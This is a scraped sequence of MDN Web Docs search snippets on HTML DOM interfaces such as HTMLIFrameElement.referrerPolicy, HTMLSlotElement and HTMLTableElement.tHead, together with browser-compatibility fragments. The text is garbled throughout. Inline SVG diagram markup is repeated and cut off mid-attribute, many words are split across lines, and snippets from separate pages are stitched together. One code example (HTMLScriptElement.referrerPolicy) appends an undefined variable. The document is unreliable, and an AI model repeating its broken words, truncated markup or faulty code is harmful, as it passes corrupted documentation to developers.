chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlhrelement" target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">ht...
... obsolete no
change from document object model (dom) level 1 specification.
HTMLHeadingElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlheadingelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middl...
... obsolete no
change document object model (dom) level 1 specificationthe definition of 'htmlheadingelement' in that specification.
HTMLIFrameElement.referrerPolicy - Web APIs
the htmliframeelement.referrerpolicy property reflects the html referrerpolicy attribute of the <iframe> element defining whi
ch referrer is sent when fet
ching the resource.
... examples var iframe = document.createelement("iframe"); iframe.src = "/"; iframe.referrerpolicy = "unsafe-url"; var body = document.getelementsbytagname("body")[0]; body.append
child(iframe); // fet
ch the image using the complete url as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicy
chrome full support 51edge full support 79firefox full support 50ie no support noopera full support 38safari full support 11.1webview android full support 51
chrome android full support 51firefox android full support 50opera a...
HTMLImageElement.border - Web APIs
for example, if you have the following html: <img src="image.png" border="2"> the following will provide the same appearance using css instead of this obsolete property: <img src="image.png" style="border: 2px;"> you can further provide additional information to
change the color and other features of the border: <img src="image.png" style="border: dashed 2px #333388;"> specifications specification status comment html living standardthe definition of 'htmlimageelement.border' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder
chrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yeswebview android full support yes
chrome android full support yesfirefox android full support yesopera android ?
HTMLImageElement.name - Web APIs
syntax htmlimageelement.name = namestring; namestring = htmlimageelement.name; value a domstring providing a name by whi
ch the image can be referenced.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetname
chrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yeswebview android full support yes
chrome android full support yesfirefox android full support yesopera android ?
HTMLMapElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmapelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">h...
... obsolete no
change from document object model (dom) level 1 specification.
HTMLMediaElement.currentTime - Web APIs
changing the value of currenttime this value seeks the media to the new time.
... if the media is not yet playing, the value of currenttime indicates the time position within the media at whi
ch playback will begin once the play() method is called.
... for media without a known duration—su
ch as media being streamed live—it's possible that the browser may not be able to obtain parts of the media that have expired from the media buffer.
... living standard no
change from html5 html5the definition of 'htmlmediaelement.currenttime' in that specification.
HTMLMediaElement.seekToNextFrame() - Web APIs
the htmlmediaelement.seektonextframe() method asyn
chronously advances the the current play position to the next frame in the media.
...you should not use this method in production code, because its implementation may
change—or be removed outright—without notice.
... syntax var seekcompletepromise = htmlmediaelement.seektonextframe(); htmlmediaelement.seektonextframe(); return value a promise whi
ch is fulfilled once the seek operation has completed.
... firefox 49 returns undefined instead of a promise, and performs the seek operation syn
chronously.
HTMLMediaElement.setMediaKeys() - Web APIs
the setmediakeys() property of the htmlmediaelement interface returns a promise that resolves to the passed mediakeys, whi
ch are those used to decrypt media during playback.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetmediakeys
chrome full support yesedge full support 13firefox full support yesie ?
...
chrome android ?
HTMLMenuElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmenuelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">...
... living standard no
change from latest snapshot, unknown html 5.2the definition of 'htmlmenuelement' in that specification.
HTMLOListElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlolistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
... obsolete no
change from document object model (dom) level 1 specification.
HTMLParagraphElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlparagraphelement" target="_top"><rect x="291" y="65" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="mid...
... obsolete no
change from document object model (dom) level 1 specification.
HTMLParamElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlparamelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
... obsolete no
change from document object model (dom) level 1 specification.
HTMLPreElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlpreelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">h...
... obsolete no
change from document object model (dom) level 1 specification.
HTMLScriptElement.referrerPolicy - Web APIs
the referrerpolicy property of the htmlscriptelement interface reflects the html referrerpolicy of the <script> element and fet
ches made by that script, defining whi
ch referrer is sent when fet
ching the resource.
... examples var scriptelem = document.createelement("script"); scriptelem.src = "/"; scriptelem.referrerpolicy = "unsafe-url"; document.body.append
child(script); specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicy
chrome full support 70edge full support ≤79firefox full support 65ie no support noopera full support yessafari no support nowebview android full support 70
chrome android full support 70firefox android full support 65opera a...
HTMLSelectElement.type - Web APIs
example swit
ch (select.type) { case 'select-multiple': // multiple values may be selected break; case 'select-one': // only one value may be selected break; default: // non-standard value (or this isn't a select element) } specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
... living standard no
change from html5, the latest snapshot.
...no
change from document object model (dom) level 2 html specification.
... obsolete no
change from document object model (dom) level 1 specification.
HTMLShadowElement - Web APIs
the htmlshadowelement interface represents a <shadow> html element, whi
ch is used in shadow dom.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlshadowelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle...
HTMLSlotElement.assignedNodes() - Web APIs
the available options are: flatten: a boolean indicating whether to return the assigned nodes of any available
child <slot> elements (true) or not (false).
... examples the following snippet is taken from our slot
change example (see it live also).
... let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slot
change', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '"
changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slot
change event listener to the 2nd slot in the template — whi
ch is the one that keeps having its contents
changed in the example.
... every time the element inserted in the slot
changes, we log a report to the console saying whi
ch slot has
changed, and what the new node inside the slot is.
HTMLSlotElement - Web APIs
events slot
change fired on an htmlslotelement instance (<slot> element) when the node(s) contained in that slot
change.
... examples the following snippet is taken from our slot
change example (see it live also).
... let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slot
change', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '"
changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slot
change event listener to the 2nd slot in the template — whi
ch is the one that keeps having its contents
changed in the example.
... every time the element inserted in the slot
changes, we log a report to the console saying whi
ch slot has
changed, and what the new node inside the slot is.
HTMLTableElement.tFoot - Web APIs
its value will be null if there is no su
ch element.
... living standard no
change from html5 html5the definition of 'htmltableelement.tfoot' in that specification.
... recommendation no
change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.tfoot' in that specification.
... obsolete no
change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmltableelement.tfoot' in that specification.
HTMLTableElement.tHead - Web APIs
its value will be null if there is no su
ch element.
... living standard no
change from html5 html5the definition of 'htmltableelement.thead' in that specification.
... recommendation no
change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.thead' in that specification.
... obsolete no
change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmltableelement.thead' in that specification.
HTMLTemplateElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltemplateelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="midd...
... content read only a read-only documentfragment whi
ch contains the dom subtree representing the <template> element's template contents.
HTMLUListElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
